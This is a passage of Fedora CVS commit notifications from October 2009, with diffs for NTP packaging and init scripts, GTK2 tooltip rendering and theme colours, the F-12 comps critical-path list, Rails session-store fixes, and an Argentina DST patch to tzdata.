 --- ntp-4.2.4p5/html/ntpd.html.htmldoc	2006-12-28 13:02:57.000000000 +0100
 +++ ntp-4.2.4p5/html/ntpd.html	2008-08-18 12:31:59.000000000 +0200
@@ -397,3 +433,26 @@ diff -up ntp-4.2.4p5/html/ntptrace.html.
  		</dl>
  		<h4>Bugs</h4>
  		<p>This program makes no attempt to improve accuracy by doing multiple samples.</p>
+diff -up ntp-4.2.4p7/html/tickadj.html.htmldoc ntp-4.2.4p7/html/tickadj.html
+--- ntp-4.2.4p7/html/tickadj.html.htmldoc	2006-06-06 22:16:08.000000000 +0200
++++ ntp-4.2.4p7/html/tickadj.html	2009-09-29 14:01:40.000000000 +0200
+@@ -14,9 +14,11 @@
+ 		<p>Last update: <csobj format="ShortTime" h="25" locale="00000409" region="0" t="DateTime" w="61">18:50</csobj> UTC <csobj format="LongDate" h="25" locale="00000409" region="0" t="DateTime" w="246">Thursday, July 28, 2005</csobj></p>
+ 		<hr>
+ 		<h4>Synopsis</h4>
+-		<tt>tickadj [ -Aqs ] [ -a <i>tickadj</i> ] [ -t <i>tick</i> ]</tt>
++		<p><tt>tickadj [ <i>tick</i> ]</tt></p>
++		<p><tt>tickadj [ -Aqs ] [ -a <i>tickadj</i> ] [ -t <i>tick</i> ]</tt></p>
+ 		<h4>Description</h4>
+ 		<p>The <tt>tickadj</tt> program reads, and optionally modifies, several timekeeping-related variables in older kernels that do not have support for precision ttimekeeping, including HP-UX, SunOS, Ultrix, SGI and probably others. Those machines provide means to patch the kernel <tt>/dev/kmem</tt>. Newer machines with precision time support, including Solaris, Tru64, FreeBSD and Linux (with PPSkit patch) should NOT use the program. The particular variables that can be changed with <tt>tickadj</tt> include <tt>tick</tt>, which is the number of microseconds added to the system time for a clock interrupt, <tt>tickadj</tt>, which sets the slew rate and resolution used by the <tt>adjtime</tt> system call, and <tt>dosynctodr</tt>, which indicates to the kernels on some machines whether they should internally adjust the system clock to keep it in line with time-of-day clock or not.</p>
++		<p>On Linux, only the <tt>tick</tt> variable is supported and the only allowed argument is the tick value.</p>
+ 		<p>By default, with no arguments, <tt>tickadj</tt> reads the variables of interest in the kernel and displays them. At the same time, it determines an &quot;optimal&quot; value for the value of the <tt>tickadj</tt> variable if the intent is to run the <tt>ntpd</tt> Network Time Protocol (NTP) daemon, and prints this as well. Since the operation of <tt>tickadj</tt> when reading the kernel mimics the operation of similar parts of the <tt>ntpd</tt> program fairly closely, this can be useful when debugging problems with <tt>ntpd</tt>.</p>
+ 		<p>Note that <tt>tickadj</tt> should be run with some caution when being used for the first time on different types of machines. The operations which <tt>tickadj</tt> tries to perform are not guaranteed to work on all Unix machines and may in rare cases cause the kernel to crash.</p>
+ 		<h4>Command Line Options</h4>
+@@ -46,4 +48,4 @@
+ 		<script type="text/javascript" language="javascript" src="scripts/footer.txt"></script>
+ 	</body>
+ 
+-</html>
+\ No newline at end of file
++</html>


Index: ntp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/F-12/ntp.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- ntp.spec	21 Aug 2009 14:45:39 -0000	1.94
+++ ntp.spec	21 Oct 2009 14:24:55 -0000	1.95
@@ -1,7 +1,7 @@
 Summary: The NTP daemon and utilities
 Name: ntp
 Version: 4.2.4p7
-Release: 5%{?dist}
+Release: 7%{?dist}
 # primary license (COPYRIGHT) : MIT
 # ElectricFence/ (not used) : GPLv2
 # kernel/sys/ppsclock.h (not used) : BSD with advertising
@@ -104,6 +104,8 @@ Patch30: ntp-4.2.4p7-freqmode.patch
 Patch31: ntpstat-0.2-clksrc.patch
 # process first packet in multipacket response
 Patch32: ntpstat-0.2-multipacket.patch
+# fix precision calculation on fast CPUs
+Patch33: ntp-4.2.4p7-getprecision.patch
 
 URL: http://www.ntp.org
 Requires(post): /sbin/chkconfig
@@ -192,6 +194,7 @@ This package contains NTP documentation 
 %patch30 -p1 -b .freqmode
 %patch31 -p1 -b .clksrc
 %patch32 -p1 -b .multipacket
+%patch33 -p1 -b .getprecision
 
 # clock_gettime needs -lrt
 sed -i.gettime 's|^LIBS = @LIBS@|& -lrt|' ntp{d,q,dc,date}/Makefile.in
@@ -343,11 +346,13 @@ fi
 %{_mandir}/man8/ntpq.8*
 %{_mandir}/man8/ntpstat.8*
 %{_mandir}/man8/ntptime.8*
+%{_mandir}/man8/tickadj.8*
 
 %files perl
 %defattr(-,root,root)
 %{_sbindir}/ntp-wait
 %{_sbindir}/ntptrace
+%{_mandir}/man8/ntp-wait.8*
 %{_mandir}/man8/ntptrace.8*
 
 %files -n ntpdate
@@ -365,6 +370,14 @@ fi
 %{ntpdocdir}/html
 
 %changelog
+* Wed Oct 21 2009 Miroslav Lichvar <mlichvar at redhat.com> 4.2.4p7-7
+- add ntp-wait man page (#526161)
+- fix init scripts (#527987)
+
+* Tue Sep 29 2009 Miroslav Lichvar <mlichvar at redhat.com> 4.2.4p7-6
+- generate tickadj man page (#526161)
+- fix precision calculation on fast CPUs
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 4.2.4p7-5
 - rebuilt with new openssl
 


Index: ntpd.init
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/F-12/ntpd.init,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- ntpd.init	20 Apr 2009 11:44:54 -0000	1.28
+++ ntpd.init	21 Oct 2009 14:24:55 -0000	1.29
@@ -32,11 +32,9 @@ prog=ntpd
 lockfile=/var/lock/subsys/$prog
 
 start() {
-	# Check that networking is up.
+	[ "$EUID" != "0" ] && exit 4
 	[ "$NETWORKING" = "no" ] && exit 1
-
 	[ -x /usr/sbin/ntpd ] || exit 5
-
 	[ -f /etc/sysconfig/ntpd ] || exit 6
 	. /etc/sysconfig/ntpd
 
@@ -50,6 +48,7 @@ start() {
 }
 
 stop() {
+	[ "$EUID" != "0" ] && exit 4
         echo -n $"Shutting down $prog: "
 	killproc $prog
 	RETVAL=$?


Index: ntpdate.init
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/F-12/ntpdate.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ntpdate.init	7 Apr 2008 17:18:26 -0000	1.2
+++ ntpdate.init	21 Oct 2009 14:24:55 -0000	1.3
@@ -23,10 +23,9 @@ ntpconf=/etc/ntp.conf
 ntpstep=/etc/ntp/step-tickers
 
 start() {
+	[ "$EUID" != "0" ] && exit 4
 	[ "$NETWORKING" = "no" ] && exit 1
-
 	[ -x /usr/sbin/ntpdate ] || exit 5
-
 	[ -f /etc/sysconfig/ntpdate ] || exit 6
 	. /etc/sysconfig/ntpdate
 
@@ -63,6 +62,7 @@ status() {
 }
 
 stop() {
+	[ "$EUID" != "0" ] && exit 4
 	rm -f $lockfile
 }
 



From mclasen at fedoraproject.org  Wed Oct 21 14:27:16 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 14:27:16 +0000 (UTC)
Subject: rpms/gtk2/F-12 fresh-tooltips.patch,1.1,1.2 gtk2.spec,1.416,1.417
Message-ID: <20091021142716.E91A611C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26562

Modified Files:
	fresh-tooltips.patch gtk2.spec 
Log Message:
Tweak tooltip appearance


fresh-tooltips.patch:
 gtktooltip.c |  195 +++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 176 insertions(+), 19 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/fresh-tooltips.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fresh-tooltips.patch	20 Oct 2009 23:36:42 -0000	1.1
+++ fresh-tooltips.patch	21 Oct 2009 14:27:16 -0000	1.2
@@ -1,6 +1,6 @@
 diff -up gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips gtk+-2.18.3/gtk/gtktooltip.c
 --- gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips	2009-10-16 10:35:45.000000000 -0400
-+++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-20 15:14:00.479415361 -0400
++++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-21 10:24:42.022179427 -0400
 @@ -95,6 +95,7 @@ static void       gtk_tooltip_display_cl
  						    GtkTooltip      *tooltip);
  static void       gtk_tooltip_set_last_window      (GtkTooltip      *tooltip,
@@ -76,7 +76,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  {
    g_return_if_fail (GTK_IS_TOOLTIP (tooltip));
  
-@@ -471,27 +492,166 @@ static void
+@@ -471,27 +492,163 @@ static void
  gtk_tooltip_window_style_set (GtkTooltip *tooltip)
  {
    gtk_alignment_set_padding (GTK_ALIGNMENT (tooltip->alignment),
@@ -145,44 +145,41 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +{
 +  GdkColor color;
 +  gdouble  r, g, b;
-+  gint     padding;
 +  gint     radius;
 +  gdouble  background_alpha;
 +
 +  if (gdk_screen_is_composited (gtk_widget_get_screen (widget)))
-+    {
-+      padding = 1;
-+      background_alpha = 0.90;
-+    }
++    background_alpha = 0.90;
 +  else
-+    {
-+      padding = 0;
-+      background_alpha = 1.0;
-+    }
++    background_alpha = 1.0;
 +
 +  radius = MIN (widget->style->xthickness, widget->style->ythickness);
-+  radius = MAX (radius, padding);
++  radius = MAX (radius, 1);
 +
 +  draw_round_rect (cr,
-+                   1.0, padding, padding, radius,
-+                   widget->allocation.width - 2 * padding,
-+                   widget->allocation.height - 2 * padding);
++                   1.0, 0, 0, radius,
++                   widget->allocation.width,
++                   widget->allocation.height);
 +
 +  color = widget->style->bg [GTK_STATE_NORMAL];
 +  r = (float)color.red / 65535.0;
 +  g = (float)color.green / 65535.0;
 +  b = (float)color.blue / 65535.0;
 +  cairo_set_source_rgba (cr, r, g, b, background_alpha);
-+  cairo_fill_preserve (cr);
++  cairo_fill (cr);
 +
-+#if 1
-+  color = widget->style->text_aa [GTK_STATE_NORMAL];
++  draw_round_rect (cr,
++                   1.0, 1, 1, radius,
++                   widget->allocation.width - 2,
++                   widget->allocation.height - 2);
++
++  color = widget->style->bg [GTK_STATE_SELECTED];
 +  r = (float) color.red / 65535.0;
 +  g = (float) color.green / 65535.0;
 +  b = (float) color.blue / 65535.0;
-+#endif
-+  cairo_set_source_rgba (cr, r, g, b, background_alpha / 2);
-+  cairo_set_line_width (cr, 1);
++
++  cairo_set_source_rgba (cr, r, g, b, background_alpha);
++  cairo_set_line_width (cr, 0.3);
 +  cairo_stroke (cr);
 +}
 +
@@ -257,7 +254,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
    return FALSE;
  }
-@@ -631,7 +791,7 @@ find_widget_under_pointer (GdkWindow *wi
+@@ -631,7 +788,7 @@ find_widget_under_pointer (GdkWindow *wi
  
  #ifdef DEBUG_TOOLTIP
    g_print ("event window %p (belonging to %p (%s))  (%d, %d)\n",


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.416
retrieving revision 1.417
diff -u -p -r1.416 -r1.417
--- gtk2.spec	20 Oct 2009 23:36:42 -0000	1.416
+++ gtk2.spec	21 Oct 2009 14:27:16 -0000	1.417
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -385,6 +385,9 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-5
+- Tweak tooltip appearance
+
 * Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-4
 - Make tooltips look nicer
 



From mclasen at fedoraproject.org  Wed Oct 21 14:30:14 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 14:30:14 +0000 (UTC)
Subject: rpms/gtk2-engines/F-12 gtk2-engines.spec, 1.118,
	1.119 tooltips.patch, 1.1, 1.2
Message-ID: <20091021143014.E566511C02A4@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2-engines/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27415

Modified Files:
	gtk2-engines.spec tooltips.patch 
Log Message:
Tweak tooltip appearance



Index: gtk2-engines.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2-engines/F-12/gtk2-engines.spec,v
retrieving revision 1.118
retrieving revision 1.119
diff -u -p -r1.118 -r1.119
--- gtk2-engines.spec	20 Oct 2009 23:40:59 -0000	1.118
+++ gtk2-engines.spec	21 Oct 2009 14:30:14 -0000	1.119
@@ -1,7 +1,7 @@
 Summary:        Theme engines for GTK+ 2.0
 Name:           gtk2-engines
 Version:        2.18.4
-Release:	2%{?dist}
+Release:	3%{?dist}
 # for details on which engines are GPL vs LGPL, see COPYING
 License:        LGPLv2+
 Group:          System Environment/Libraries
@@ -84,6 +84,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/gtk-engines-2.pc
 
 %changelog
+* Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.4-3
+- Tweak tooltip appearance
+
 * Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.4-2
 - New tooltip appearance
 

tooltips.patch:
 gtkrc |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

Index: tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2-engines/F-12/tooltips.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tooltips.patch	20 Oct 2009 23:40:59 -0000	1.1
+++ tooltips.patch	21 Oct 2009 14:30:14 -0000	1.2
@@ -6,7 +6,7 @@ diff -up gtk-engines-2.18.4/themes/Clear
  # Please keep this gtkrc in sync with the other ones from Clearlooks based themes.
  
 -gtk-color-scheme = "base_color:#ffffff\nfg_color:#000000\ntooltip_fg_color:#000000\nselected_bg_color:#86ABD9\nselected_fg_color:#ffffff\ntext_color:#1A1A1A\nbg_color:#EDECEB\ntooltip_bg_color:#F5F5B5"
-+gtk-color-scheme = "base_color:#ffffff\nfg_color:#000000\ntooltip_fg_color:#000000\nselected_bg_color:#86ABD9\nselected_fg_color:#ffffff\ntext_color:#1A1A1A\nbg_color:#EDECEB\ntooltip_bg_color:#F0F0FF"
++gtk-color-scheme = "base_color:#ffffff\nfg_color:#000000\ntooltip_fg_color:#000000\nselected_bg_color:#86ABD9\nselected_fg_color:#ffffff\ntext_color:#1A1A1A\nbg_color:#EDECEB\ntooltip_bg_color:#E7F3FD"
  
  style "default" {
  	xthickness = 1



From wtogami at fedoraproject.org  Wed Oct 21 14:30:45 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Wed, 21 Oct 2009 14:30:45 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.165,1.166
Message-ID: <20091021143045.4DD9A11C029A@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27650

Modified Files:
	comps-f12.xml.in 
Log Message:
Add dracut and dash to critical-path



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.165
retrieving revision 1.166
diff -u -p -r1.165 -r1.166
--- comps-f12.xml.in	20 Oct 2009 20:05:16 -0000	1.165
+++ comps-f12.xml.in	21 Oct 2009 14:30:44 -0000	1.166
@@ -812,6 +812,8 @@
            packages exist and are installable etc. We're not using this
            to force-install 'kernel' over 'kernel-PAE' or anything. -->
       <packagereq type="mandatory">kernel</packagereq>
+      <packagereq type="mandatory">dracut</packagereq>
+      <packagereq type="mandatory">dash</packagereq>
       <packagereq type="mandatory">livecd-tools</packagereq>
       <packagereq type="mandatory">mash</packagereq>
       <packagereq type="mandatory">NetworkManager</packagereq>



From kanarip at fedoraproject.org  Wed Oct 21 14:36:10 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Wed, 21 Oct 2009 14:36:10 +0000 (UTC)
Subject: rpms/rubygem-actionpack/F-11
	rubygem-actionpack-2.3.2-fix-reset_session.patch, NONE,
	1.1 import.log, 1.2, 1.3 rubygem-actionpack.spec, 1.12, 1.13
Message-ID: <20091021143610.7836511C00E8@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-actionpack/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28938/F-11

Modified Files:
	import.log rubygem-actionpack.spec 
Added Files:
	rubygem-actionpack-2.3.2-fix-reset_session.patch 
Log Message:
2.3.2-3

rubygem-actionpack-2.3.2-fix-reset_session.patch:
 active_record_store_test.rb |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE rubygem-actionpack-2.3.2-fix-reset_session.patch ---
commit 01478e930c124db4bbbc70df17343848b0e70a7d
Author: Joshua Peek <josh at joshpeek.com>
Date:   Sun May 17 14:44:19 2009 -0500

    Fix reset_session with ActiveRecord store [#2200 state:resolved]

diff --git a/actionpack/test/activerecord/active_record_store_test.rb b/actionpack/test/activerecord/active_record_store_test.rb
index c98892e..bde36eb 100644
--- a/actionpack/test/activerecord/active_record_store_test.rb
+++ b/actionpack/test/activerecord/active_record_store_test.rb
@@ -27,9 +27,9 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest
     end
 
     def call_reset_session
-      session[:bar]
+      session[:foo]
       reset_session
-      session[:bar] = "baz"
+      session[:foo] = "baz"
       head :ok
     end
 
@@ -86,7 +86,7 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest
 
       get '/get_session_value'
       assert_response :success
-      assert_equal 'foo: nil', response.body
+      assert_equal 'foo: "baz"', response.body
 
       get '/get_session_id'
       assert_response :success


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionpack/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	28 Jul 2009 21:20:58 -0000	1.2
+++ import.log	21 Oct 2009 14:36:10 -0000	1.3
@@ -1,2 +1,3 @@
 rubygem-actionpack-2_3_2-1_fc10:HEAD:rubygem-actionpack-2.3.2-1.fc10.src.rpm:1237201627
 rubygem-actionpack-2_3_3-1_fc11:F-11:rubygem-actionpack-2.3.3-1.fc11.src.rpm:1248815949
+rubygem-actionpack-2_3_2-3_fc12:F-11:rubygem-actionpack-2.3.2-3.fc12.src.rpm:1256135754


Index: rubygem-actionpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionpack/F-11/rubygem-actionpack.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- rubygem-actionpack.spec	7 Oct 2009 22:32:41 -0000	1.12
+++ rubygem-actionpack.spec	21 Oct 2009 14:36:10 -0000	1.13
@@ -4,29 +4,31 @@
 %define gemname actionpack
 %define geminstdir %{gemdir}/gems/%{gemname}-%{version}
 
-Summary: Web-flow and rendering framework putting the VC in MVC
-Name: rubygem-%{gemname}
-Epoch: 1
-Version: 2.3.2
-Release: 2%{?dist}
-Group: Development/Languages
-License: MIT
-URL: http://www.rubyonrails.org
-Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
-Patch0:  rubygem-actionpack-2.3.x-CVE-2009-3009.patch
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Requires: rubygems
-Requires: rubygem(activesupport) = %{version}
-BuildRequires: rubygems
-BuildArch: noarch
-Provides: rubygem(%{gemname}) = %{version}
+Summary:        Web-flow and rendering framework putting the VC in MVC
+Name:           rubygem-%{gemname}
+Epoch:          1
+Version:        2.3.2
+Release:        3%{?dist}
+Group:          Development/Languages
+License:        MIT
+URL:            http://www.rubyonrails.org
+Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
+Patch0:         rubygem-actionpack-2.3.x-CVE-2009-3009.patch
+# Ticket #2200 upstream. see also:
+# https://rails.lighthouseapp.com/projects/8994/tickets/2200-session-support-broken#ticket-2200-23
+Patch1:         rubygem-actionpack-2.3.2-fix-reset_session.patch
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Requires:       rubygems
+Requires:       rubygem(activesupport) = %{version}
+BuildRequires:  rubygems
+BuildArch:      noarch
+Provides:       rubygem(%{gemname}) = %{version}
 
 %description
 Eases web-request routing, handling, and response as a half-way front,
 half-way page controller. Implemented with specific emphasis on enabling easy
 unit/integration testing that doesn't require a browser.
 
-
 %prep
 
 %build
@@ -38,7 +40,8 @@ gem install --local --install-dir %{buil
             --force --rdoc %{SOURCE0}
 
 pushd %{buildroot}%{geminstdir}
-cat %{PATCH0} | patch -s -p2
+patch -s -p2 < %{PATCH0}
+patch -s -p2 < %{PATCH1}
 popd
 
 # Remove backup files
@@ -77,6 +80,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 21 2009 Jeroen van Meeuwen <j.van.meeuwen at ogd.nl> - 1:2.3.2-3
+- Fix activerecord test for reset_session (#2200 upstream)
+
 * Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-2
 - Bump epoch; rails is not updatable across versions (bz 520843)
 



From kanarip at fedoraproject.org  Wed Oct 21 14:36:23 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Wed, 21 Oct 2009 14:36:23 +0000 (UTC)
Subject: rpms/rubygem-activerecord/F-11
	rubygem-activerecord-2.3.2-fix-reset_session.patch, NONE,
	1.1 import.log, 1.4, 1.5 rubygem-activerecord.spec, 1.14, 1.15
Message-ID: <20091021143623.4F55011C00E8@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-activerecord/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29059/F-11

Modified Files:
	import.log rubygem-activerecord.spec 
Added Files:
	rubygem-activerecord-2.3.2-fix-reset_session.patch 
Log Message:
2.3.2-4

rubygem-activerecord-2.3.2-fix-reset_session.patch:
 session_store.rb |   10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

--- NEW FILE rubygem-activerecord-2.3.2-fix-reset_session.patch ---
commit f339b3b47cb6400c66ab5a84268aa63abcfbb58a
Author: Joshua Peek <josh at joshpeek.com>
Date:   Sun May 17 14:45:06 2009 -0500

    Missed a file from the previous commit

diff --git a/activerecord/lib/active_record/session_store.rb b/activerecord/lib/active_record/session_store.rb
index 3cc4640..c91b943 100644
--- a/activerecord/lib/active_record/session_store.rb
+++ b/activerecord/lib/active_record/session_store.rb
@@ -295,7 +295,7 @@ module ActiveRecord
 
       def set_session(env, sid, session_data)
         Base.silence do
-          record = env[SESSION_RECORD_KEY] ||= find_session(sid)
+          record = get_session_model(env, sid)
           record.data = session_data
           return false unless record.save
 
@@ -309,6 +309,14 @@ module ActiveRecord
 
         return true
       end
+      
+      def get_session_model(env, sid)
+        if env[ENV_SESSION_OPTIONS_KEY][:id].nil?
+          env[SESSION_RECORD_KEY] = find_session(sid)
+        else
+          env[SESSION_RECORD_KEY] ||= find_session(sid)
+        end
+      end
 
       def find_session(id)
         @@session_class.find_by_session_id(id) ||


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-11/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	20 Oct 2009 12:49:13 -0000	1.4
+++ import.log	21 Oct 2009 14:36:22 -0000	1.5
@@ -2,3 +2,4 @@ rubygem-activerecord-2_2_2-1_fc10:HEAD:r
 rubygem-activerecord-2_3_2-1_fc10:HEAD:rubygem-activerecord-2.3.2-1.fc10.src.rpm:1237202080
 rubygem-activerecord-2_3_3-1_fc11:F-11:rubygem-activerecord-2.3.3-1.fc11.src.rpm:1248605341
 rubygem-activerecord-2_3_2-3_fc12:F-11:rubygem-activerecord-2.3.2-3.fc12.src.rpm:1256042940
+rubygem-activerecord-2_3_2-4_fc12:F-11:rubygem-activerecord-2.3.2-4.fc12.src.rpm:1256135768


Index: rubygem-activerecord.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-11/rubygem-activerecord.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- rubygem-activerecord.spec	20 Oct 2009 12:49:13 -0000	1.14
+++ rubygem-activerecord.spec	21 Oct 2009 14:36:23 -0000	1.15
@@ -1,27 +1,25 @@
-# Generated from activerecord-1.15.5.gem by gem2rpm -*- rpm-spec -*-
 %define ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
 %define gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
 %define gemname activerecord
 %define geminstdir %{gemdir}/gems/%{gemname}-%{version}
 
-Summary: Implements the ActiveRecord pattern for ORM
-Name: rubygem-%{gemname}
-Epoch: 1
-Version: 2.3.2
-Release: 3%{?dist}
-Group: Development/Languages
-License: MIT
-URL: http://www.rubyonrails.org
-
-Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
-Patch0: rubygem-activerecord-2.3.2-fix-mysql-binary-default.patch
-
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Requires: rubygems
-Requires: rubygem(activesupport) = %{version}
-BuildRequires: rubygems
-BuildArch: noarch
-Provides: rubygem(%{gemname}) = %{version}
+Summary:        Implements the ActiveRecord pattern for ORM
+Name:           rubygem-%{gemname}
+Epoch:          1
+Version:        2.3.2
+Release:        4%{?dist}
+Group:          Development/Languages
+License:        MIT
+URL:            http://www.rubyonrails.org
+Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
+Patch0:         rubygem-activerecord-2.3.2-fix-mysql-binary-default.patch
+Patch1:         rubygem-activerecord-2.3.2-fix-reset_session.patch
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Requires:       rubygems
+Requires:       rubygem(activesupport) = %{version}
+BuildRequires:  rubygems
+BuildArch:      noarch
+Provides:       rubygem(%{gemname}) = %{version}
 
 %description
 Implements the ActiveRecord pattern (Fowler, PoEAA) for ORM. It ties database
@@ -41,6 +39,7 @@ gem install --local --install-dir %{buil
 
 pushd %{buildroot}%{geminstdir}
 patch -s -p2 --fuzz=0 < %{PATCH0}
+patch -s -p2 --fuzz=0 < %{PATCH1}
 popd
 
 # Remove backup files
@@ -79,6 +78,9 @@ rm -rf %{buildroot}
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 %changelog
+* Wed Oct 21 2009 Jeroen van Meeuwen <j.van.meeuwen at ogd.nl> - 1:2.3.2-4
+- Apply cherry-picked fix for reset_session from 2-3-stable (#2200 upstream)
+
 * Tue Oct 20 2009 Jeroen van Meeuwen <j.van.meeuwen at ogd.nl> - 1:2.3.2-3
 - Backport fix for default values on MySQL Binary and VarBinary columns
 



From pmachata at fedoraproject.org  Wed Oct 21 14:37:39 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Wed, 21 Oct 2009 14:37:39 +0000 (UTC)
Subject: rpms/tzdata/devel tzdata-2009o-argentinas.patch, 1.1,
	1.2 tzdata.spec, 1.89, 1.90
Message-ID: <20091021143739.BD5F911C00E8@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29463

Modified Files:
	tzdata-2009o-argentinas.patch tzdata.spec 
Log Message:
- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)


tzdata-2009o-argentinas.patch:
 southamerica |   12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

Index: tzdata-2009o-argentinas.patch
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/devel/tzdata-2009o-argentinas.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tzdata-2009o-argentinas.patch	19 Oct 2009 15:33:49 -0000	1.1
+++ tzdata-2009o-argentinas.patch	21 Oct 2009 14:37:39 -0000	1.2
@@ -1,14 +1,9 @@
---- tzdata2009o/southamerica~	2009-10-16 13:23:49.000000000 +0000
-+++ tzdata2009o/southamerica	2009-10-16 13:24:14.000000000 +0000
-@@ -215,9 +215,14 @@
- # http://www.jujuy.gov.ar/index2/partes_prensa/18_10_08/235-181008.doc
+diff -ur tzdata2009n/southamerica tzdata2009n_MODIF/southamerica
+--- tzdata2009o/southamerica	2009-09-22 16:13:38.000000000 -0300
++++ tzdata2009o/southamerica	2009-10-16 13:09:53.000000000 -0300
+@@ -216,8 +216,8 @@
  # </a>
  
-+# Margarita Manterola:
-+# Same as always, Argentina's government just decided to change its mind
-+# regarding DST, 2 days in advance.
-+# http://www.lanacion.com.ar/nota.asp?nota_id=1186963&pid=7542694&toi=6275
-+
  Rule	Arg	2007	only	-	Dec	30	0:00	1:00	S
 -Rule	Arg	2008	max	-	Mar	Sun>=15	0:00	0	-
 -Rule	Arg	2008	max	-	Oct	Sun>=15	0:00	1:00	S
@@ -17,3 +12,25 @@
   
  # From Mariano Absatz (2004-05-21):
